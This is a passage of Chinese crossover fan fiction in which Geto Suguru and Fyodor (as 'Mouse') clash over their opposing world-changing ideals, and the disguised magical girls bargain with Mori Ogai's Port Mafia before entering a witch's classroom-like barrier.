说罢，面前的白发少女便毫不犹豫地转身离开了。 夏油杰倒是没想到对方会这么果断，仿佛真的了解自己的真实情况一般。 但那怎么可能…… 这种事情根本就没几个人知道。 绝大多数人都只知道他是极恶的特级诅咒师，被咒术高专所放逐，和咒术界势不两立…… 其实，要不是七年前发生了一些意外，实际情况也确实本应该如此。 第99章 说起来还挺复杂的。 夏油杰自己也不太清楚七年前的意外到底是怎么发生的。 总之在七年前的很长一段时间内，他莫名其妙地失去了理智，那段时间的记忆也有些模糊不清了…… 直到四年前他才似乎恢复了正常。 虽然经历了那种一言难尽的意外遭遇，但是那时他都待在五条悟左右，也见过了一些咒术师的邪恶和许多普通人的善意，影响着他渐渐改变了一些。 夏油杰还不能彻底下定决心、放弃自己之前抛弃一切也想达成的理想。 但是，他答应了五条悟暂时选择让步，与其达成合作。 期待着能够像五条悟说的那样，看到比预想中更好的未来世界。 想着白发少女刚才的表现，夏油杰叹了口气，拿起手机跟五条悟发了条消息： 【悟，我没能从朔夜那里试探出什么。】 五条悟的消息回得很快：【是朔夜的话……也没办法，那个魔法少女我之前也遇到过，她总是一副谁也不想理会的样子。】 夏油杰：【不，重点是，她好像知道一些我的实际情况。】 所以他本来想借助自己不好的名声，装作想要和她们合作以此来试探的计划就落空了。 五条悟：【诶，那就奇怪了。】 夏油杰：【是啊，搞不懂她到底是怎么知道的，总之我应该是帮不上你的忙了。】 【没关系，其实我还是挺放心的。】 五条悟回道：【惠已经大了，他的事情也不需要别人多担心。他和魔法少女走得这么近肯定有自己的理由啦。】 虽然五条悟这么说了，不过夏油杰知道他后续还是不会完全放着不管的。 要是以前的五条悟可能还心大的注意不到这些，但经历了当年的那场苦夏，又过了这么长的时间，成为了一名老师…… 五条悟如今早就改变了许多。 现在回想起当初还处于高专时期的五条悟，夏油杰就觉得时间真的很神奇。 他们都一样不再是当初的自己了。 好在直到如今，两人最终还是没有走到彼此的对立面去。 想了想，夏油杰觉得自己还是能够帮点忙的。 尽管因为朔夜提前了解到自己的一些真实情况，所以现在他不好去接近魔法少女那边，但是…… 夏油杰想到了一个另辟蹊径的方法。 ——或许可以先接触一下魔法少女的敌人？她们的敌人应该是要比其他人更了解她们吧。 很巧的是，夏油杰之前在调查魔法少女的信息时，正好发现了她们的敌人的一些蛛丝马迹。 网络上显然有不少势力在推动魔法少女的舆论变差，而他在利用自己的势力调查时，也被一些势力注意到了。 目前魔法少女看起来没什么背景和靠山，调查她们的势力自然几乎都是她们的敌人。 夏油杰就这样和那其中一方势力有过接触，拿到了对方首领的联系方式。 他在手机里找了找，点进一个名称是Mouse的人的账号。 Mouse，老鼠，还是英文名…… 看上去总感觉对方有点装啊。 夏油杰表情沉重地看了一眼自己的ID名——苦夏达咩达咩达咩哟~ 真要命，早知道当初就不跟悟随便打赌了。 不小心输了之后，就被悟笑着将自己社交平台的ID名称改成了这个，并被要求三个月内不能改名或换号。 所以导致现在就尴尬了，他的名字和对方的名字形成了鲜明对比。他真的要顶着这个ID名称去和对方谈正经事吗？ 艰难纠结了好久，夏油杰才终于下定决心豁了出去。 只要自己不尴尬，那么尴尬的一定就是别人。 苦夏达咩达咩达咩哟~：【你好，要谈谈合作吗？】 等了一会儿，Mouse回道：【什么合作？是一起解决我们共同的敌人？还是更深层次的合作？】 夏油杰知道，共同的敌人当然指的是魔法少女她们。 套取魔法少女的情报也是他要来找对方谈话的主要目的。 不过更深层次的合作……这种话听起来，莫名让夏油杰感到有些好奇。 苦夏达咩达咩达咩哟~：【能解释一下后者的含义吗？】 Mouse：【后者……差不多就是看看我们是否能够为了类似的目标而共同努力。先生，你觉得如今这个世界怎么样呢？】 夏油杰愣了愣。 这个话题还真是……让他顿时有无数的话语想要倾诉。 苦夏达咩达咩达咩哟~：【这个世界一点都不公平。有着特殊能力的人非常强大，但只是少数。而普通人的数量是他们加起来都比不过的。可是普通人根本不知道他们的存在，也都不了解这个世界的真相。】 另一边，使用着Mouse这个账号的费奥多尔，看到对方的回复之后，心里忍不住泛起了波动。 他原本只是想随便试探一下，然后糊弄对方一番，看看能不能利用到对方。 但是，面对他的问题…… 对面这个人没有像其他大多庸俗的人似的，眼睛里只能看到自己的利益，而是说出了这样和他想法一样的话。 费奥多尔隐约感觉对方说不定能理解自己？ Mouse：【你也是这样觉得的，看来我们似乎有着共同的理想。】 理想啊…… 夏油杰当初正是因为追求着这个，才抛下了一切，把自己逼入那样的境地里。 当时没有人能够真正地理解他，整个咒术界都在通缉他，将他视作需要处刑的对象。 事到如今，夏油杰虽然知道无法实现自己的理想了。但是能够看见可以理解自己的人，他也是不由得微微有点激动。 苦夏达咩达咩达咩哟~：【你也觉得这样的世界是可悲的吗？有着特殊能力的人和普通人的关系并不公平！】 Mouse：【当然，我正是想要彻底改变这样的世界。】 对方说到了夏油杰心坎里。 没想到，对方现在走在自己当初尝试过的一条道路上。 那条路有多么难走，夏油杰是深刻地明白着的，对方居然还在为此努力……那是多么令人感动啊。 苦夏达咩达咩达咩哟~：【我曾经也为此努力过，只是可惜这条路实在是太难了。我做了许多却始终没有什么用处。】 Mouse：【真没想到，先生，你也有过这样的理想？】 苦夏达咩达咩达咩哟~：【当然。】 看来自己的道路并不孤单。 费奥多尔这么想着，肤色略显苍白的脸上露出了一丝笑意。 紧接着，他看到电脑屏幕上，对方发来的一条最新消息…… 苦夏达咩达咩达咩哟~：【只要杀掉所有的普通人，就能永久阻止咒灵的诞生，让这个世界变成我们美好的乐园了。】 第100章 杀掉所有的普通人……？？！ 费奥多尔的笑容僵住了。 他第一时间甚至还以为是自己这么久没休息好，所以眼花给看错了，但是反复确认之后，发现对方居然还真是发了这么离谱的一句话。 费奥多尔顿时没心情想别的什么了。 Mouse：【……你知道普通人的数量有多少吗？】 苦夏达咩达咩达咩哟~：【是所有特殊能力者的很多倍。】 Mouse：【你这种说法太乐观了，有特殊能力的人最多只在全部人类中占比万分之一。】 苦夏达咩达咩达咩哟~：【确实，你说得对，这差距的确太大了。】 费奥多尔心情勉强缓和了一些。 对方应该也能够知道自己的说法有多么离谱了吧？ 杀光所有普通人还不如直接毁灭世界呢，后者显然更轻松得多，比前者更有可行性。 而且真要是杀光了普通人，那这世界原先的秩序估计也就全完蛋了，人类文明倒退个上千年都不在话下。 Mouse：【所以，还不如杀掉所有的特殊能力者，创造一个只有普通人的平等的世界。】 在费奥多尔发出这条消息的同一时刻，夏油杰的消息也随之发出。 苦夏达咩达咩达咩哟~：【所以，走这条路才那么辛苦艰难，真是为难你了。】 两条消息同时发出去后，两人都沉默了好久。 没人知道他们都想了些什么，但是他们脸上的表情明显都不怎么好看。 费奥多尔虽然一贯很能够为了自己的目标而忍耐，但是面对这个人这种荒谬的话，他也不想忍下去了。 谁告诉那家伙他是在走这条杀死所有普通人的道路了？ 这简直就是污蔑。 这么愚蠢的路，只有傻子才会走吧。 Mouse：【我从始至终都没有走过你说的那条路，谢谢。】 苦夏达咩达咩达咩哟~：【那你想要改变这个世界，指的是杀死所有特殊能力者？】 Mouse：【当然，这比你说的那条路要明智太多了。】 这话不就是相当于嘲讽他弱智吗？？ 夏油杰简直被气笑了，手不禁紧紧地握成拳，恨不得穿过网线去揍对面那家伙一顿。 他之前选择走这条路的时候，虽然有很多人并不支持他，但可没有人这么拐着弯地骂他。 苦夏达咩达咩达咩哟~：【我这条路怎么了？倒是你，为什么会选择杀掉所有特殊能力者？他们随便拉出来一个都要比成百上千的普通人有价值得多！】 Mouse：【有价值？在哪方面？在他们能够随心所欲、打破秩序的无数特权上，还是在他们轻易就能发动战争造下无数罪孽上？】 苦夏达咩达咩达咩哟~：【在于他们辛辛苦苦地保护普通人，却得不到应有的回报和感谢。你知道咒术师每年的死亡率是多少吗？】 Mouse：【那只是部分人自愿这么做的而已，况且他们哪里没有回报？每次任务的高昂报酬难道是假的吗？】 苦夏达咩达咩达咩哟~：【呵，要不是咒术师，人类早就全被咒灵杀死了。】 Mouse：【要是没有咒术师的话，咒术世界会保持平衡，现代诅咒根本不可能发展到如今这个地步。就算咒灵存在，那么弱小的它们也带不来多大的伤亡……所以难道不是你们咒术师自作自受吗？】 苦夏达咩达咩达咩哟~：【你想死吗？】 Mouse：【怎么了？先生，因为说不过我而生气了吗？】 苦夏达咩达咩达咩哟~：【我没想到你比那些没开化的猴子还要不可救药，说那些咒术师是自作自受？你会为自己的话付出代价的。】 Mouse：【那我就拭目以待了。】 苦夏达咩达咩达咩哟~：【等着看吧，你的目标是永远都没机会实现的。】 Mouse：【谢谢提醒，我知道了。在我达成目标之前，一定会早早解决掉你的。】 苦夏达咩达咩达咩哟~：【小心藏好自己的尾巴吧，肮脏的老鼠。万一被我揪出来，你就死定了。】 …… 短短一段时间内，夏油杰的心情就经历了翻天覆地的转变。 他简直怀疑人生，刚才他是怎么会觉得这家伙可能能够理解自己的？ 这个叫Mouse的家伙，简直人如其名，阴暗恶心、令人厌恶。 对方居然说出杀死所有特殊能力者这种话来！完全看不到咒术师这么久以来为了保护普通人而舍生忘死的付出！！ 夏油杰燃起了熊熊怒火。 就算他现在已经不觉得自己当初的理想有机会实现了，但也绝不会允许Mouse的理想成真。 对方完全站在自己的相反面。 他们两个注定会成为不死不休的敌人，就算他得不到好处，也不能让对方得到一丁点好处。 否则万一他们的理想都实现了…… 特殊能力者也好，普通人也罢，总之这个世界上将没有任何一个人能够活下来。 于是，夏油杰想着这些，沉浸在了要如何对付Mouse的势力之中。 他彻底忘了自己最开始来找对方谈话的目的，也早就把魔法少女的事情和想帮助五条悟的心情抛到九霄云外去了。 …… 而伊江朔久不知道夏油杰之后和费奥多尔这样产生了矛盾。 他虽然也有查到一些敌人的踪迹，却不好现在出手打草惊蛇。 毕竟那些人也都比较谨慎，一个个把自己的真实身份都藏得很仔细，就算找也顶多找到他们借刀杀人的那把刀而已。 所以，伊江朔久想目前先放下外忧，处理一下己方的内患。 该怎么才能够缓和魔法少女们的关系呢？ 这真是个值得思考的问题。【你现在阅读的是 】 100-110 第101章 伊江朔久其实从来不擅长处理这类问题。 按理说，各种故事性作品里，一起守护世界的同伴们彼此之间的关系都是非常要好的。 就算刚开始不怎么样，容易吵吵闹闹，后面也会自然而然地渐渐改善了关系，变成可以托付生死的重要伙伴…… 可是现在，她们几个越吵越凶。 随着时间的推移，关系只会变得越来越差。 只能想办法人为解决这一情况了。 伊江朔久有点苦恼，让别人讨厌其他人是件很简单的事情，但是要培养别人和其他人的感情那就麻烦了。 说起来，还是太宰治提前引发了这些矛盾导致的。 按照伊江朔久对太宰治的了解，对方不可能把这种事做得太过。既然挑起了事端，那他应该也就有解决的方法。 于是没过多久，伊江朔久就使用丘比马甲，去横滨找了太宰治。 丘比刚到武装侦探社找到对方，就单刀直入道： ‘太宰，怎么才能缓和她们的关系？’ ‘她们？’ 太宰治没有先回答，而是在心里幽幽地问丘比：‘你真的确定是她们而不是他们吗？……艾尔菲就是菲茨杰拉德吧，其他人又是怎样的身份呢？’ 丘比心平气和地说：‘这种事是她们的隐私，抱歉，我不能告诉你。’ 太宰治讨价还价道：‘哎，别这样嘛，告诉我一点吧，就只告诉我朔夜的真实性别如何？我真的很好奇。’ 丘比：‘……不行！’ 太宰治假装叹气：‘你和朔夜的关系还是这么好。’ 丘比努力将话题掰回去：‘反正现在她们的关系变成这样，很大一部分原因与你有关。你应该有解决的办法吧？’ 太宰治慢慢地眨了眨眼，看上去有点惊讶。 丘比无奈道：‘我知道是你做的，不用故意表现惊讶了。’ 太宰治露出一丝笑意：‘没有啊，我惊讶的只是……没想到丘比居然会这么了解我。’ 丘比哑然。 太宰治紧跟着问道：‘不知道你是否也同样如此了解着其他人呢？’ 丘比：‘……别再转移话题了。’ 太宰治也不准备再多逗对方几次了，毕竟这种事还是要适量。 ‘好吧，我可能有个方法吧，但是不太确定能够奏效哦。’ 丘比静静地盯着他：‘你先说。’ ‘没问题。横滨港口黑手党最近有了奇怪的传闻，很大概率和魔女有关。’ 太宰治笑着道：‘听说他们那里有许多黑手党成员失踪，但还是有不少成员在失踪后又回来了。’ ‘有意思的是，回来后的人虽然记不清之前发生了什么，但是那些回来的人之间的关系莫名都比以前好了一些。’ ‘怎么样？听起来是不是很有趣？’ 丘比沉默了几秒。 ‘你是说，拉着其他几位魔法少女一起去那个魔女结界试一下？’ 太宰治点了点头：‘是啊，说不定我们进去闯一遭之后，彼此之间的感情也会变好呢。而且去港口黑手党里玩，这不是很有意思吗？’ 丘比：‘……’ 总感觉去那里玩才是太宰治的主要目的呢。 丘比总感觉听起来好像不是那么靠谱：‘那些回来的人除了彼此关系变好，还有什么其他的特征吗？’ 太宰治边想边说：‘也算有吧，可能他们之前的关系本来就很好……或者是其中有人比较讲义气。’ 这听起来越来越玄乎了。 丘比：‘就只是这样？’ 太宰治：‘没错，除此之外没什么特殊的。有的有着强大的异能，而有的只是文弱的普通人，年龄、体质也都没有规律。’ 丘比陷入沉思。 没有特殊能力的普通人能够离开魔女的结界吗？ 或许一个两个是有机会很巧地意外离开的，但是这么多人都成功离开了，还因此改变了些彼此之间的关系…… 那看来，这个魔女并不是怎么喜欢杀戮。 它会特地放一些满足要求的人出去，这和它的性质有关，那么其他还困在结界里的人有概率还活着。 太宰治笑着问：‘怎么样？去玩一玩吧。’ 丘比无奈应下：‘也行吧。’ ‘那记得一定要把人都凑齐哦，尤其是朔夜。只要她到了，其他人应该也不会不愿意来的。’ 太宰治提醒道。 果然，太宰治还是对朔夜隐藏的秘密念念不忘。 丘比突然有些不想答应了。 因为确实不知道魔女结界里到底是什么情况，而朔夜表现出来的性格，大概只方便用武力碾压魔女。 可是这样一来，又该怎么达成改善魔法少女们关系的目标呢？ 丘比这样想着，也这么对太宰治说了：‘你觉得朔夜会配合我们吗？她或许只会直接摧毁掉那个魔女结界，根本达不到我们想要的效果。’ ‘怎么不会呢？’ 太宰治反问道：‘她不是和你的关系最好吗？你去好好拜托她的话，她怎么可能不同意呢？’ 丘比：‘……’ 这确实不好解释。 之前为了方便尽快提升魔法少女们的实力，找朔夜给她们训练，还有让朔夜在她们头几次单独处理魔女时注意盯着…… 丘比只能给出它和朔夜关系不错的借口。 所以在朔夜先前都做了那么多的情况下，如今只是面对这种不算太麻烦的事，朔夜也没有理由会拒绝丘比。 难道要说，丘比和朔夜最近也闹矛盾了吗？ 太宰治不会随便相信这种理由吧，而且…… 这种魔女表现的性质十分特殊，最近那几个魔法少女之间的关系又挺糟糕，感觉完全是被那魔女所克制的。 丘比倒也不放心她们一起过去，然后互相给对方拖后腿…… 到时候估计不仅是那个魔女无法解决，连还活着的受害者也可能救不出来。 太宰治催促道：‘还要考虑多久？丘比，难道你其实不想让我们几个的关系好转吗？’ 丘比应道：‘好吧，我知道了。’ ‘太好了。’太宰治弯起嘴角，说道：‘可以去港口黑手党团建了！’ 团、团建……？ 这么说起来倒是还挺形象的。 丘比心情莫名。 第102章 以防万一，伊江朔久在和其他魔法少女去往港口黑手党之前，特意支走了系统。 她们几个本来确实是不想来的，但在朔夜的威逼和丘比的劝导下，还是都不情不愿地过来了。 站在巷子里，抬头远远地看着那五栋黑色大楼，伏黑惠陷入了沉默。 松田阵平虽然也提前了解过横滨的黑手党文化，但是亲自站在这里，看着那过于醒目如同地标一样的建筑…… 松田阵平还是心情复杂。 这年头还有这么嚣张的黑手党啊，真是令人同情横滨警察的遭遇。 艾尔菲先出声问：“我们要怎么进去？” 其他人闻言，默默将目光投向了手上正拿着《女生徒》的津岛。 她们现在越来越不方便随便出门了，装备齐全的话也会引人注意……所以刚才就是由津岛出手，帮忙把她们直接带到了这条偏僻的巷子里。 津岛摆了摆手：“这次我可帮不了忙。” 这几天和对方吵习惯了，艾尔菲直接回怼了一句。 “也太没用了吧，不是有着不错的位移能力吗，怎么这都做不到，还能指望你发挥什么用场。” 津岛微笑着一字一句道：“你行你来。” 其他人也没有要劝架的意思，松代和禅院穗跟没看到一样站在一边，每个人之间仿佛都隔了一道无形的空气墙。 只能由朔夜主动侧头看向她们，盯着她们一言不发…… 艾尔菲没说什么了。 津岛也退了一步，解释道：“我又不清楚里面魔女结界的具体位置，直接带所有人进去找不就更显眼麻烦了嘛。你们想想，在那群黑手党大本营里直接突然现身，该造成怎样的混乱？” 这确实感觉很不好…… 禅院穗道：“也是，那我们该怎么进去？” 津岛眨了眨眼：“直接走进去。” “……？？” “没开玩笑，我认真的。”津岛问道：“除了从正门走进去，还有别的什么更好的方法吗？” “……” 看着没人回应，津岛笑了一下，直接往着黑手党的方向走过去。 其他人也跟着往前。 松田阵平走在队伍的最后面。 作为一名警察，就这么直接进入黑手党的地盘……怎么说呢，松田阵平心里有点怪怪的感觉。 当然她们只是刚接近门口，就有黑西装的黑手党拦下她们，问道：“你们是干什么的？知道这是什么地方吗？” 显然，对方看她们只是几个平均年龄15岁左右的少女，觉得她们大概率是因为好奇或者什么走错了地方。 津岛道：“我们知道这是哪里，所以才想进去参观的。” “什么鬼，哪来的不懂事的小鬼？” 一个黑手党成员皱着眉头，准备上前去赶人。 然而另一人却立刻拦住了他：“这、这是魔法少女！” “啊？” 其他黑手党大多都挺惊讶的，仔细看着这几个少女，发现她们确实都很眼熟。 “是网上那个魔法少女？” “那个传说中来自异世界、想要毁灭所有人类的魔法少女？” “就是她们引来了魔女？所以说，难道我们这里之前的失踪事件就是魔女造成的？” “……” 黑手党成员们你一言我一语，不安地讨论着。 禅院穗脸色变得越来越黑。 这都是些什么离谱的传闻？ 不过还是有人为她们说好话的……一个个子偏矮的黑手党犹豫地说：“感觉网上那些传闻不一定真实啊，都没什么证据。” 旁边另一个人却道：“也就你会为她们说话了，真是的，你还在喜欢魔法少女啊。那不应该是小孩子才会喜欢的东西吗？” 个子偏矮的黑手党不好意思地低下了头，说：“我只是觉得……艾尔菲不会是那样的人。” 虽然也算是被夸赞了，可是艾尔菲的脸色反而更糟糕了。 她不会是哪样的人？ 当初为了挽回自己的家人，自己怎样的坏事都能做得下去…… 突然被一个黑手党用这样的语气夸赞，艾尔菲总感觉很是别扭，尤其是知道自己真实身份的津岛就在旁边…… 让她忍不住怀疑，津岛听到这话，此刻不会在心里偷偷嘲笑她吧？ 这概率真的很大…… 艾尔菲板着脸说：“直接进去吧，别再浪费时间了。” 禅院穗点点头表示赞同。 于是，她们几个无视了这些站在门口的黑手党，直接就要往大门里面走去。 “你们干什么？！” 有黑手党立即反应过来，紧张地举着枪想要拦下她们。 不过，她们当然不会在意这些普通的枪.械，继续面不改色地向前。 津岛提醒了一句：“你们也知道普通人是拦不下我们的吧？劝你们现在先退到一边去，赶紧通知首领哦。” 这几个黑手党互相看了看，迟疑片刻后，确实没有强行去拦下她们。 毕竟他们几个只是守门的，黑手党最外层最不起眼的一层防护措施而已，没人拥有异能力，怎么可能拦得下这几个魔法少女。 他们这几个底层人员当然不会不顾及自己的生命，去做一件毫无意义的事情。 不过，魔法少女真正进去之后就有点麻烦了。 里面的黑手党成员更多。 他们很快就注意到，这几个非常显眼的少女从正门口走了进来。 有原本守在门口的黑手党成员跟在她们稍后面，悄悄冲着其他同事做手势示意。 ‘这、是、敌、袭——’ 这附近的所有黑手党顿时都警惕起来，齐齐拿枪对准这几个少女。 “别担心、别担心~” 津岛完全没有一丝不自在地笑着说道：“我们是过来跟你们首领谈合作的。” 合作？ 其他魔法少女纷纷将视线放到津岛身上…… “什么合作？”松代一脸怀疑地盯着她问道。 艾尔菲也语气不怎样地问道：“我们之前怎么没听你说，是要来这里谈合作啊？” “现在不就知道了。” 津岛毫不心虚地说：“我们有什么理由无偿为人家处理魔女呢？是因为我们是来自异世界、要毁灭人类的存在？还是因为魔女是我们带来的？” “反正不赚白不赚，这个黑手党组织一看就很大方。” 津岛看着不远处那些拿着枪的黑手党，漫不经心地提高了声音继续说道。 “他们首领肯定会愿意为了救出被困在结界里的那些可怜下属，而付出一点点微不足道的代价，对吧？” 其他几个魔法少女沉默地看着这家伙。 好黑心啊…… 她们越相处越发现，津岛真是很难令人看懂她到底是个怎样的人。 明明有时候看着很像活泼阳光少女，但是某些时候，就比如说是现在…… 感觉津岛看起来比周围的这些黑手党更加可怕啊。 第103章 没过多久，一个赭发蓝眼的青年从人群后走来，脸色不怎么好地看着她们，冷声道： “居然敢在这里捣乱，你们是想和重力一战吗？” 津岛不慌不忙地说：“我说过了，我们只是来合作的，让你们首领来跟我们谈。” 中原中也毫不客气地问：“你们不打一声招呼就直接闯进来，告诉我这只是来谈合作？” 津岛微笑着说：“当然。” 中原中也攥紧了拳头，身上的异能红光逐渐亮起。 氛围很快就变得更加糟糕。总感觉下一秒，他们就会因为一言不合而开打了。 不过这时，一个穿着公主裙的金发女孩蹦蹦跳跳地跑过来，一下子便使这里的画风突变。 她跑到那几个少女面前，歪了歪头，笑容满面地问道： “你们都是魔法少女吗？好厉害！我也想成为魔法少女。” 禅院穗愣了一下。 这是哪来的小孩子？看着似乎还没到十二岁，怎么会在黑手党里？ “你是？” 女孩子欢快地回答：“我叫爱丽丝。” 爱丽丝？ 菲茨杰拉德先前与黑手党为敌过，自然会提前好好调查过一番，所以记得黑手党首领森鸥外拥有一个人形异能体，就叫做爱丽丝。 于是，艾尔菲直接对着爱丽丝道：“我该叫你森首领吗？” 爱丽丝的笑容渐渐消失。 禅院穗和松代也瞬间变了个脸色：“……？？！” 禅院穗难以置信：“这个女孩子是首领？” 松代有点想把手铐掏出来了：“这么小的孩子？” 一个穿着黑色大衣、戴着红围巾、一看就身居高位的男人朝这边走过来。 他轻轻摸了摸爱丽丝的头，无奈地对其他少女说：“真是不好意思，我家孩子给你们添麻烦了。” “还要再继续装下去吗？”艾尔菲语调平稳地说：“爱丽丝只不过是你的人形异能体而已。” 人形异能体？？！ 周围不知道这一情报的人都很震惊，简直要怀疑人生了。 森鸥外嘴角微扬，眼神却锐利：“没想到你们的情报工作真不错啊，真令人佩服呢……听说你们是过来谈合作的？” 津岛点了点头。 森鸥外却先提起了别的话题：“我之前听说，津岛小姐希望我亲自过来见你，说这样就会告诉我成为魔法少女的契机是什么。请问现在可以告诉我吗？” 其他几位魔法少女闻言不由得又一次将目光锁定在津岛身上。 这家伙到底是想干什么？这种话也能随随便便说出去吗？！ 津岛却仿佛注意不到同伴们如刀子般凌厉的目光，对森鸥外说：“没问题。” “其实想要成为魔法少女很简单，不过需要你先达成一个前提条件。” 森鸥外总觉得对方没那么好说话：“哦？” 果然，津岛接下来就说： “魔法少女毕竟是少女嘛，其实‘少’这个条件没那么苛刻，但是也不是什么人随随便便都可以当的。” “这位先生，你只需要先去做一个小小的手术，把自己从生理上变成一个女孩子~” “我发誓，到时候一定让你成为魔法少女哟。” 津岛俏皮地笑着眨眨眼。 四周顿时一片沉默。 不少底层黑手党都有点心里发怵。听到了这种话，以后真的不会被首领悄悄穿小鞋吗？ “噗嗤——”爱丽丝先忍不住笑起来：“这个主意听起来很不错嘛，林太郎。” 森鸥外苦着脸，说道：“别跟我开玩笑了。” “哪有开玩笑啊，我是认真的。” 津岛语调微扬地道。 森鸥外无奈地说：“我们还是先来谈谈合作的事情吧。” 津岛闻言，反而撇了撇嘴，看起来不是很高兴的样子。 森鸥外当作没看见，继续道：“各位是为了解决这里的魔女而来的吧？” 津岛连忙笑着说：“不不不，我们只是来这里观光和看看能不能谈合作的。魔女又不是我们引来的，我们干嘛要特意过来解决它呢？” 森鸥外无奈叹气。 对方看起来真是一点都不好说话，自己要是不付出些代价，大概是没办法从她们那里占得什么便宜了。 “好吧，我们愿意与各位达成合作关系，所以希望你们能为合作伙伴帮忙解决掉这栋大楼里的魔女。” 津岛随便点了点头：“好啊，那同样的，我们现在也可以请你帮忙吗？” 森鸥外含糊道：“请说吧，能帮的上的，我一定尽力。” 津岛回头看了看其他人，直白地问道：“你们有什么想让他做的事情吗？” “……” 几个少女一时间陷入了沉思。 该让黑手党首领做什么呢？ 松代和禅院穗之前从没跟黑手党合作过，甚至都没怎么接触过，现在完全没有什么想法。 松代只能想到，如果能让他们主动自首就好了……但这种事情想也知道，对方怎么可能会答应。 而艾尔菲纯粹是想要得太多，还得好好思考一番，提出什么样的要求才能利益最大化还能让森首领答应。 还是朔夜先开口道：“摆平一下网上的那些负面舆论吧。” “这个……” 森鸥外一脸为难道：“我们只是横滨的一家小小黑手党公司而已，哪里能够左右网上那些铺天盖地的恶意舆论呢？” 津岛随即道：“听说这里的很多重要黑手党成员都失踪了，看来这次的魔女真的非常危险啊，我们可能也没办法打败它呢。” 将威胁摆到明面上了啊。 森鸥外面色不改，说道：“我们顶多只能尽力帮忙宣扬一下你们对大家的付出，努力帮忙找一找那些污蔑你们的家伙。” 津岛接着道：“那我们也尽力帮忙对付一下魔女吧。” 艾尔菲似乎是终于想到了该说什么，道：“我希望你们帮一下组合，让这个组织好好在横滨站稳脚跟、稳步发展，作为回报我也会尽力解决魔女的。” “这倒也没什么问题……我早就有所耳闻了，艾尔菲小姐和组合的关系真好呢。” 森鸥外挑了挑眉道。 艾尔菲沉着脸，自己的身份如今确实有些危险。 不少人都知道艾尔菲与组合有着很密切的关联，再加上斯科蒂不久前又在横滨露了面…… 要不是其他人很难想到魔法少女也可以是成年男性，自己的身份便早就会暴露了。 还没等到艾尔菲想好该找什么借口，津岛便在一旁开口道：“当然咯，组合与魔法少女是合作关系。我们对合作伙伴可是很友好的，互利互惠嘛。” 这一开口一定程度上帮她暂时度过了身份危机。 森鸥外说：“这样啊，那也祝我们以后合作顺利。” 津岛不在意道：“希望吧。” 艾尔菲倒是没想到先前还和自己相看两厌的津岛，此刻会帮助自己。 ……那家伙果然很难令人看懂。 津岛又看向禅院穗和松代，催促道：“快点说吧，你们也一定有需要帮助的地方对吧？” 松代犹豫地开口：“我希望你们能帮我对付一个主要成员都以酒名为代号的组织。” 森鸥外回忆了一下，问：“是那个主要待在日本的跨国犯罪组织？” 松代点头，自己先前从萩原研二那里取得了许多情报，知道单凭一个人的力量是难以摧毁那个组织的。 如果能多找几个合作伙伴，说不定机会能够更大一些。 森鸥外对松代说：“你对付那个组织的时候，我可以为你提供情报和一些人手。不过……到时候获得了什么利益，我们当然也要分一杯羹。” 松代迟疑片刻，还是答应了。 但是，她总感觉自己好像真的快要变成一名黑警了…… 这也是没有办法的办法。 而禅院穗想了许久后，说道：“我还没什么想法，以后再跟你说可以吗？” 森鸥外也欣然同意了。 他再将视线转到津岛身上，很懂事地问道：“津岛小姐，你有什么需要呢？” “我和禅院一样，之后想到的话，再跟你说吧。” 津岛微笑着回答。 森鸥外在心里无声地松了口气。 他感觉到这些魔法少女里就属津岛最难缠，幸好她没有现在提出什么过分的要求，至于之后的事情……就留给之后再说吧。 到时候没有了魔女的威胁，可能也不用答应对方的无理要求。 不过……津岛应该不会想不到这一点才对，为什么她还会说以后再说呢。 森鸥外想不太通，只能暂时放下，先问道：“现在你们可以帮忙解决这里的魔女了吗？一定请你们救出我重要的那些属下啊。” 真会装模做样。 津岛在心里吐槽了一句，表面上还是温和地说：“我们都会尽力的，那么请带路，你应该知道魔女结界大概在什么方位吧。” 第104章 中原中也带着那几个魔法少女上到了二楼，再绕到了一处电梯口附近，停下来，指着前方说：“差不多就是那附近了，人都是在那儿消失的。” 二楼电梯口吗，怪不得短短几天内失踪的人这么多…… 少女们了然。 中原中也看着她们要往前走去，犹豫了一下，喊道： “你们有什么需要吗？……我也误入过这个结界，虽然记不太清了，可还是有点印象。要不听我描述一下？” 津岛直接拒绝：“没必要，未知才更有意思嘛。” 中原中也气不打一处来，但都这种时刻了，他还是又一次忍住了。 “那但愿你们能将人都好好救出来吧。” “放心，都说坏人活得久。” 津岛头也不回地随口道：“你那些属下大概是不会有什么事的。” 她们越靠近电梯，就越能通过灵魂宝石感知到魔女的气息，也觉察到了与往常不同之处。 这次的魔女显然要更强大许多，让人感受到的压力，比这几个新手魔法少女以前遇到的魔女都要强大。 不过有着朔夜在，倒也没人会多么担心。 她们从魔女结界的入口走进去。 然而却没有直接实实在在地踏入一个诡异的空间，而是先感到一阵眩晕，眼前的世界变得模糊不清。 又是给人制造幻觉的那种类型吗？ 津岛和禅院穗倒是有点经验，可是这一次的感觉和上一次的又明显有着差别…… 她们对身边人的感知消失了，看着周围的一切慢慢从模糊变得清晰，仿佛场景是重组起来的，过了一会儿才终于搭建完毕。 而后……她们看见自己身处于一间教室之中。 教室？？！ 松田阵平都不记得多久没来过这种地方了，自己大学毕业都是五年前的事情了，更别提眼前这看起来像是中学的教室。 而松田阵平不知道自己其实在几人中还算是好的…… 太宰治和菲茨杰拉德都几乎没什么上学的印象。 一个早早加入黑手党，成为最年少干部，一个则早年非常贫困，从打工开始白手起家经商。 伊江朔久也是。 早期上学上得比较晚，然后也就上了几年便再也没继续上了。 只有年轻的男子高中生伏黑惠对这一景象还算适应。 可魔女结界里为什么会是这样一副平和安定的场景？ 教室里的人并不多，她们坐在不同的座位上，周围还有一些同学。 所有坐在课桌前的人都穿着校服，包括她们几个魔法少女，也不知怎的服装都变成了同样的校服。 面前的讲台上则站着一位老师，正在讲课，黑板上是一些高中数学的公式。 就在她们左顾右盼、抓紧观察周围环境的时候，台上的老师终于忍不住了，手中攥着的粉笔都因用力而断成了两半。 “都给我好好听课！” 老师生气地停下了讲课，随便指向了刚才明显跑神的几人中的一个黑发绿眸少女，准备杀鸡儆猴道： “禅院穗，你来给大家讲一下这道题！” 禅院穗愣了一下。 啊？她吗？？ 她抬头看黑板上的那道题……嘶，是一道比较复杂的函数题，看着既陌生又熟悉。 禅院穗还没有学到这里来。 主要是自己作为咒术师，上的只是高专而已，之前上课大多也是关于咒术的知识，正经的高中知识并没有学多少…… 禅院穗只能道：“……我不会。” “不会就对了，上课不认真听能会做吗？这次扣你三学分。” 